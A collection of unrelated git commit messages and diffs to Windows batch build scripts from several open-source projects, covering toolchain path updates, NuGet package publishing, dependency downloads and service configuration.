-echo EventStore.*>exclude.txt
-(echo.|set /p =Norm.*)>>exclude.txt
-bin\ilmerge-bin\ILMerge.exe /keyfile:src/EventStore.snk /internalize:"exclude.txt" /xmldocs /wildcards /targetplatform:%ILMERGE_VERSION% /out:output/bin/EventStore.Persistence.MongoPersistence.dll %FILES_TO_MERGE%
-del exclude.txt
-
 echo Merging Json Serialization
 set FILES_TO_MERGE=
 set FILES_TO_MERGE=%FILES_TO_MERGE% "src\proj\EventStore.Serialization.Json\bin\%TARGET_CONFIG%\EventStore.Serialization.Json.dll"


Build with VS 15 dev tools

Build with VS 15 dev tools

--- build.cmd
+++ build.cmd
@@ -6,7 +6,7 @@
     goto :SkipDeveloperSetup
 )

-set DeveloperCommandPrompt=%VS140COMNTOOLS%\VsDevCmd.bat
+set DeveloperCommandPrompt=%VS150COMNTOOLS%\VsDevCmd.bat

 if not exist "%DeveloperCommandPrompt%" (
   echo In order to build this repository, you either need 'msbuild' on the path or Visual Studio 2015 installed.


Update build.cmd for renamed webmachine -> webzmachine.

build.cmd was left out of commit feca8729f69036454e86c04331b4e496b51007cc.

--- build.cmd
+++ build.cmd
@@ -21,10 +21,10 @@

 pushd .
-cd .\deps\webmachine
+cd .\deps\webzmachine
 @echo on
 @echo '------------------------------'
-@echo 'make webmachine'
+@echo 'make webzmachine'
 @echo '------------------------------'
 @echo off
 %erl% -noinput +B -eval "case make:all() of up_to_date -> halt(0); error -> halt(1) end."


remove wrapper script

remove wrapper script

git-svn-id: 223c0ba935819ffdcafdc68147dc609b4e469b1e@1544677 13f79535-47bb-0310-9956-ffa450edef68

--- build.cmd
+++ build.cmd
@@ -1,131 +0,0 @@
-rem
-rem
-rem Licensed to the Apache Software Foundation (ASF) under one
-rem or more contributor license agreements.  See the NOTICE file
-rem distributed with this work for additional information
-rem regarding copyright ownership.  The ASF licenses this file
-rem to you under the Apache License, Version 2.0 (the
-rem "License"); you may not use this file except in compliance
-rem with the License.  You may obtain a copy of the License at
-rem
-rem   http://www.apache.org/licenses/LICENSE-2.0
-rem
-rem Unless required by applicable law or agreed to in writing,
-rem software distributed under the License is distributed on an
-rem "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-rem KIND, either express or implied.  See the License for the
-rem specific language governing permissions and limitations
-rem under the License.
-rem
-rem
-@ECHO OFF
-
-REM We are going to change the environment variables, so protect the current settings.
-SETLOCAL ENABLEDELAYEDEXPANSION
-
-IF "%1"=="-?" GOTO CommandLineOptions
-
-REM Figure out the path to the log4net directory
-CALL :ComputeBase %~f0
-SET LOG4NET_DIR=%RESULT%
-ECHO LOG4NET_DIR is %LOG4NET_DIR%
-
-REM Get path to NAnt.exe
-
-REM Try and determine if NAnt is in the PATH
-SET NANTEXE_PATH=nant.exe
-"%NANTEXE_PATH%" -help >NUL: 2>NUL:
-IF NOT ERRORLEVEL 1 goto FoundNAnt
-
-REM Try hard coded path for NAnt
-SET NANTEXE_PATH=C:\Program Files\NAnt\nant-0.85\bin\nant.exe
-"%NANTEXE_PATH%" -help >NUL: 2>NUL:
-IF NOT ERRORLEVEL 1 goto FoundNAnt
-
-REM We have not found NAnt
-ECHO.
-ECHO NAnt does not appear to be installed. NAnt.exe failed to execute.
-ECHO Please ensure NAnt is installed and can be found in the PATH.
-GOTO EndError
-
-
-:FoundNAnt
-ECHO NANTEXE_PATH is %NANTEXE_PATH%
-
-REM Setup the build file
-IF EXIST nant.build (
-	SET BUILD_FILE=nant.build
-) ELSE (
-	SET BUILD_FILE=%LOG4NET_DIR%\log4net.build
-)
-
-ECHO BUILD_FILE is %BUILD_FILE%
-
-
-IF "%1"=="package" GOTO Package
-
-"%NANTEXE_PATH%" "-buildfile:%BUILD_FILE%" %1 %2 %3 %4 %5 %6 %7 %8
-GOTO EndOk
-
-:Package
-IF "%2"=="" GOTO NoProjectVersion
-
-"%NANTEXE_PATH%" "-buildfile:%BUILD_FILE%" package "-D:package.version=%2" %3 %4 %5 %6 %7 %8
-GOTO EndOk
-
-:NoProjectVersion
-ECHO.
-ECHO SYNTAX ERROR: Missing Version String.
-ECHO Please specify the version number of log4net that you want to package.
-GOTO CommandLineOptions
-
-:CommandLineOptions
-ECHO.
-ECHO Use the following command line syntax:
-ECHO.
-ECHO     build.cmd -?
-ECHO     build.cmd -projecthelp
-ECHO     build.cmd [nant target]
-ECHO     build.cmd package [version string]
-ECHO.
-ECHO To get a list of all NAnt build targets run build.cmd with the -projecthelp option.
-ECHO If no NAnt target is specified then the default target is 'compile-all'. This will compile all configurations on all available frameworks.
-ECHO When using the 'package' command the version label for the package must be specified.
-ECHO.
-ECHO     Examples:
-ECHO.
-ECHO     build.cmd compile-mono-1.0
-ECHO     build.cmd compile-all
-ECHO     build.cmd package 1.3.0
-ECHO     build.cmd package 2.1.0-alpha
-ECHO.
-GOTO EndError
-
-
-REM ------------------------------------------
-REM Expand a string to a full path
-REM ------------------------------------------
-:FullPath
-SET RESULT=%~f1
-GOTO :EOF
-
-REM ------------------------------------------
-REM Compute the current directory
-REM given a path to this batch script.
-REM ------------------------------------------
-:ComputeBase
-SET RESULT=%~dp1
-REM Remove the trailing \
-SET RESULT=%RESULT:~0,-1%
-CALL :FullPath %RESULT%
-GOTO :EOF
-
-
-:EndOk
-ENDLOCAL
-EXIT /B 0
-
-:EndError
-ENDLOCAL
-EXIT /B 1
-


Build debug

Build debug

--- build.cmd
+++ build.cmd
@@ -54,15 +54,16 @@
 call klr --lib "%KPM_DIR%;%KPM_DIR%\lib\Microsoft.Framework.PackageManager;%~dp0\src\FSharpSupport\obj\pass3" "Microsoft.Framework.PackageManager" build
 IF NOT "%ERRORLEVEL%" == "0" goto end

+IF "%K_BUILD_VERSION%" == "" goto end
 IF NOT "%APPVEYOR_REPO_BRANCH%" == "master" goto wrongbranch
 IF NOT "%APPVEYOR_PULL_REQUEST_NUMBER%" == "" goto pullreq
 IF "%NUGET_SOURCE%" == "" goto end
-echo Publishing bin\debug\FSharpSupport.0.1-alpha-%K_BUILD_VERSION%.nupkg
-.nuget\NuGet.exe push bin\debug\FSharpSupport.0.1-alpha-%K_BUILD_VERSION%.nupkg %NUGET_API_KEY% -Source %NUGET_SOURCE%
+echo Publishing "%~dp0\src\FSharpSupport\bin\debug\FSharpSupport.0.1-alpha-%K_BUILD_VERSION%.nupkg"
+.nuget\NuGet.exe push "%~dp0\src\FSharpSupport\bin\debug\FSharpSupport.0.1-alpha-%K_BUILD_VERSION%.nupkg" "%NUGET_API_KEY%" -Source "%NUGET_SOURCE%"

 IF "%SYMBOL_SOURCE%" == "" goto end
-echo Publishing bin\debug\FSharpSupport.0.1-alpha-%K_BUILD_VERSION%.symbols.nupkg
-.nuget\NuGet.exe push bin\debug\FSharpSupport.0.1-alpha-%K_BUILD_VERSION%.symbols.nupkg %SYMBOL_API_KEY% -Source %SYMBOL_SOURCE%
+echo Publishing "%~dp0\src\FSharpSupport\bin\debug\FSharpSupport.0.1-alpha-%K_BUILD_VERSION%.symbols.nupkg"
+.nuget\NuGet.exe push "%~dp0\src\FSharpSupport\bin\debug\FSharpSupport.0.1-alpha-%K_BUILD_VERSION%.symbols.nupkg" "%SYMBOL_API_KEY%" -Source "%SYMBOL_SOURCE%"
 goto end

 :wrongbranch


Updatng build.cmd to use cached NuGet.exe

--- build.cmd
+++ build.cmd
@@ -1,16 +1,23 @@
 @echo off
 cd %~dp0

-IF EXIST .nuget\NuGet.exe goto restore
+SETLOCAL
+SET CACHED_NUGET=%LocalAppData%\NuGet\NuGet.exe
+
+IF EXIST %CACHED_NUGET% goto copynuget
 echo Downloading latest version of NuGet.exe...
+IF NOT EXIST %LocalAppData%\NuGet md %LocalAppData%\NuGet
+@powershell -NoProfile -ExecutionPolicy unrestricted -Command "$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest 'https://www.nuget.org/nuget.exe' -OutFile '%CACHED_NUGET%'"
+
+:copynuget
+IF EXIST .nuget\nuget.exe goto restore
 md .nuget
-@powershell -NoProfile -ExecutionPolicy unrestricted -Command "$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest 'https://www.nuget.org/nuget.exe' -OutFile '.nuget\NuGet.exe'"
+copy %CACHED_NUGET% .nuget\nuget.exe > nul

 :restore
-IF EXIST build goto run
+IF EXIST packages\KoreBuild goto run
 .nuget\NuGet.exe install KoreBuild -ExcludeVersion -o packages -nocache -pre
-xcopy packages\KoreBuild\build build\ /Y
-.nuget\NuGet.exe install Sake -version 0.2 -o packages
+.nuget\NuGet.exe install Sake -version 0.2 -o packages -ExcludeVersion

 :run
-packages\Sake.0.2\tools\Sake.exe -I build -f makefile.shade %*
+packages\Sake\tools\Sake.exe -I packages\KoreBuild\build -f makefile.shade %*


Sending build batch script tail args to MSBUILD

--- build.cmd
+++ build.cmd
@@ -7,6 +7,6 @@
     echo machine, which is required to build the solution.
     exit /b 1
 )
-for %%i in (debug release) do "%MSBUILDEXE%" "MoreLinq.sln" /p:Configuration=%%i
-if "%1"=="all" for %%i in (debug release) do "%MSBUILDEXE%" MoreLinq.Silverlight.sln /p:Configuration=%%i
-if "%1"=="docs" "%MSBUILDEXE%" MoreLinq.shfbproj
+for %%i in (debug release) do "%MSBUILDEXE%" "MoreLinq.sln" /p:Configuration=%%i %*
+if "%1"=="all" for %%i in (debug release) do "%MSBUILDEXE%" MoreLinq.Silverlight.sln /p:Configuration=%%i %*
+if "%1"=="docs" "%MSBUILDEXE%" MoreLinq.shfbproj %*


Added build.cmd that sets up a build environment.

git-svn-id: 6f5276da7ac3c898f2d8112e245e0115777f19ad@60721 81fbe566-5dc4-48c1-bdea-7421811ca204

--- build.cmd
+++ build.cmd
@@ -0,0 +1,26 @@
+@echo off
+setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
+pushd %~dp0
+
+set ProgramFilesDir=%ProgramFiles%
+if NOT "%ProgramFiles(x86)%"=="" set ProgramFilesDir=%ProgramFiles(x86)%
+
+set VisualStudioCmd=%ProgramFilesDir%\Microsoft Visual Studio 9.0\VC\vcvarsall.bat
+if EXIST "%VisualStudioCmd%" call "%VisualStudioCmd%"
+
+for /D %%n in ( "%ProgramFilesDir%\NUnit*" ) do (
+ set NUnitDir=%%~n
+)
+
+call ant.bat %*
+
+popd
+endlocal
+goto :EOF
+
+:Usage
+echo  Syntax:
+echo.
+echo   build [target]
+echo.
+goto :EOF


Support for configuring Elasticsearch service display name, description and user on Windows

--- distribution/src/main/resources/bin/service.bat
+++ distribution/src/main/resources/bin/service.bat
@@ -162,8 +162,16 @@
 if "%ES_START_TYPE%" == "" set ES_START_TYPE=manual
 if "%ES_STOP_TIMEOUT%" == "" set ES_STOP_TIMEOUT=0

-"%EXECUTABLE%" //IS//%SERVICE_ID% --Startup %ES_START_TYPE% --StopTimeout %ES_STOP_TIMEOUT% --StartClass org.elasticsearch.bootstrap.Elasticsearch --StopClass org.elasticsearch.bootstrap.Elasticsearch --StartMethod main --StopMethod close --Classpath "%ES_CLASSPATH%" --JvmSs %JVM_SS% --JvmMs %JVM_XMS% --JvmMx %JVM_XMX% --JvmOptions %JVM_OPTS% ++JvmOptions %ES_PARAMS% %LOG_OPTS% --PidFile "%SERVICE_ID%.pid" --DisplayName "Elasticsearch %ES_VERSION% (%SERVICE_ID%)" --Description "Elasticsearch %ES_VERSION% Windows Service - http://elasticsearch.org" --Jvm "%%JAVA_HOME%%%JVM_DLL%" --StartMode jvm --StopMode jvm --StartPath "%ES_HOME%" ++StartParams start
-
+if "%SERVICE_DISPLAY_NAME%" == "" set SERVICE_DISPLAY_NAME=Elasticsearch %ES_VERSION% (%SERVICE_ID%)
+if "%SERVICE_DESCRIPTION%" == "" set SERVICE_DESCRIPTION=Elasticsearch %ES_VERSION% Windows Service - https://elastic.co
+
+if not "%SERVICE_USERNAME%" == "" (
+	if not "%SERVICE_PASSWORD%" == "" (
+		set SERVICE_PARAMS=%SERVICE_PARAMS% --ServiceUser "%SERVICE_USERNAME%" --ServicePassword "%SERVICE_PASSWORD%"
+	)
+)
+
+"%EXECUTABLE%" //IS//%SERVICE_ID% --Startup %ES_START_TYPE% --StopTimeout %ES_STOP_TIMEOUT% --StartClass org.elasticsearch.bootstrap.Elasticsearch --StopClass org.elasticsearch.bootstrap.Elasticsearch --StartMethod main --StopMethod close --Classpath "%ES_CLASSPATH%" --JvmSs %JVM_SS% --JvmMs %JVM_XMS% --JvmMx %JVM_XMX% --JvmOptions %JVM_OPTS% ++JvmOptions %ES_PARAMS% %LOG_OPTS% --PidFile "%SERVICE_ID%.pid" --DisplayName "%SERVICE_DISPLAY_NAME%" --Description "%SERVICE_DESCRIPTION%" --Jvm "%%JAVA_HOME%%%JVM_DLL%" --StartMode jvm --StopMode jvm --StartPath "%ES_HOME%" %SERVICE_PARAMS% ++StartParams start

 if not errorlevel 1 goto installed
 echo Failed installing '%SERVICE_ID%' service


cmd.exe, LABEL must have prefix ':' but have not suffix ':' ( https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/goto )

--- run-tests.bat
+++ run-tests.bat
@@ -13,7 +13,7 @@
 REM Automatically re-run Windows tests, which can fail some times.
 set tries=0

-RUN_TESTS:
+:RUN_TESTS
 set /a tries=%tries%+1
 type nul > "%VADER_OUTPUT_FILE%"
 C:\vim\vim\vim80\vim.exe -u test/vimrc "+Vader! %tests%"
@@ -23,7 +23,7 @@
 IF %tries%  GEQ 2 GOTO :SHOW_RESULTS
 GOTO :RUN_TESTS

-SHOW_RESULTS:
+:SHOW_RESULTS
 type "%VADER_OUTPUT_FILE%"
 del "%VADER_OUTPUT_FILE%"


fixed AStyle.bat

fixed AStyle.bat

--- AStyle.bat
+++ AStyle.bat
@@ -30,9 +30,9 @@

 ::a dir
 set SRC_DIR=%~dp0/NFComm
-AStyle %ASTYLE_PARAM% -r %SRC_DIR%/*.h %SRC_DIR%/*.cpp
+AStyle %ASTYLE_PARAM% -r %SRC_DIR%/*.h %SRC_DIR%/*.cpp %SRC_DIR%/*.hpp

 set SRC_DIR=%~dp0/NFServer
-AStyle %ASTYLE_PARAM% -r %SRC_DIR%/*.h %SRC_DIR%/*.cpp
+AStyle %ASTYLE_PARAM% -r %SRC_DIR%/*.h %SRC_DIR%/*.cpp %SRC_DIR%/*.hpp

 pause


Bug 61529 - Migration to Java 9 : jmeter.bat Windows file Java 9 detection

git-svn-id: https://svn.apache.org/repos/asf/jmeter/trunk@1813710 13f79535-47bb-0310-9956-ffa450edef68

Former-commit-id: 3d87e2fdc9319eaf28c87de7c573d85c2e046a7c

--- bin/jmeter.bat
+++ bin/jmeter.bat
@@ -31,6 +31,11 @@
 rem Minimal version to run JMeter
 set MINIMAL_VERSION=1.8.0

+
+rem --add-modules java.activation if JAVA 9
+set ADD_MODS=
+
+
 for /f "tokens=3" %%g in ('java -version 2^>^&1 ^| findstr /i "version"') do (
     rem @echo Debug Output: %%g
     set JAVAVER=%%g
@@ -40,10 +45,21 @@
     set ERRORLEVEL=2
     goto pause
 )
-set JAVAVER=%JAVAVER:"=%
-for /f "delims=. tokens=1-3" %%v in ("%JAVAVER%") do (
-    set current_minor=%%w
+
+
+
+rem Check if version is from OpenJDK or Oracle Hotspot JVM prior to 9 containing 1.${version}.x
+IF "%variable:~0,2%"=="1." (
+    set JAVAVER=%JAVAVER:"=%
+    for /f "delims=. tokens=1-3" %%v in ("%JAVAVER%") do (
+        set current_minor=%%w
 )
+) else (
+    rem Java 9 at least
+    set current_minor=9
+    set ADD_MODS=--add-modules java.activation
+)
+

 for /f "delims=. tokens=1-3" %%v in ("%MINIMAL_VERSION%") do (
     set minimal_minor=%%w


update URL for Boost builds

update URL for Boost builds

--- dependencies/windows/install-dependencies.cmd
+++ dependencies/windows/install-dependencies.cmd
@@ -83,7 +83,7 @@
 )

 if not exist %BOOST_FILES:~0,-4%* (
-  wget %WGET_ARGS% "%BASEURL%%BOOST_FILES%"
+  wget %WGET_ARGS% "%BASEURL%Boost/%BOOST_FILES%"
   echo Unzipping %BOOST_FILES%
   unzip %UNZIP_ARGS% "%BOOST_FILES%"
   del %BOOST_FILES%


Bat for docker container

Bat for docker container

error: pathspec 'Docker.bat' did not match any file(s) known to git

--- Docker.bat
+++ Docker.bat
@@ -0,0 +1,2 @@
+docker rm -f indexOutOfRange
+docker run -d -p 4000:4000 -v //c/Users/szymon.warda/Documents/Kitematic/IndexOutOfRange/:/src --name indexOutOfRange jclagache/github-pages serve


Added batch file for making exe installer.

error: pathspec 'makeexe.bat' did not match any file(s) known to git

--- makeexe.bat
+++ makeexe.bat
@@ -0,0 +1,8 @@
+@echo off
+rem a script for making an nsis installer for the bdist_nsi package
+
+git clean -x -f -d
+python setup.py build
+python setup.py install
+python setup.py --command-packages bdist_nsi bdist_nsi --target-versions=2.5,2.6,2.7
+python setup.py sdist --formats zip


removed pause from build script, so CI works

--- src/build.cmd
+++ src/build.cmd
@@ -10,5 +10,4 @@
 if not exist packages\FAKE\tools\Fake.exe (
   nuget install FAKE -OutputDirectory packages -ExcludeVersion
 )
-packages\FAKE\tools\FAKE.exe build.fsx %*
-pause
+packages\FAKE\tools\FAKE.exe build.fsx %*


更新编译脚本中使用的MSBuild的文件路径。 :postbox:

更新编译脚本中使用的MSBuild的文件路径。 :postbox:

--- drivers/build.bat
+++ drivers/build.bat
@@ -1,6 +1,6 @@
 @echo off

-SET msbuild="C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\MSBuild\15.0\Bin\MSBuild.exe"
+SET msbuild="C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\MSBuild\Current\Bin\MSBuild.exe"
 SET current=%cd%

 setlocal EnableDelayedExpansion


modified windows build script

modified windows build script

--- conda/bld.bat
+++ conda/bld.bat
@@ -1,2 +1,2 @@
-echo building module!
 %PYTHON% setup.py install
+if errorlevel 1 exit 1


NoRef fix bat files with LF endings (?)

NoRef fix bat files with LF endings (?)

git-svn-id: 6c0edb9fdd085beb7f3b78cf385b6ddede550bd9@11103 55bbc10b-e964-4c8f-a844-a62c6f7d3c80

--- tools/svnUpHotdeploy.bat
+++ tools/svnUpHotdeploy.bat
@@ -54,4 +54,4 @@
 set SVN_PATH=
 popd

-pause+pause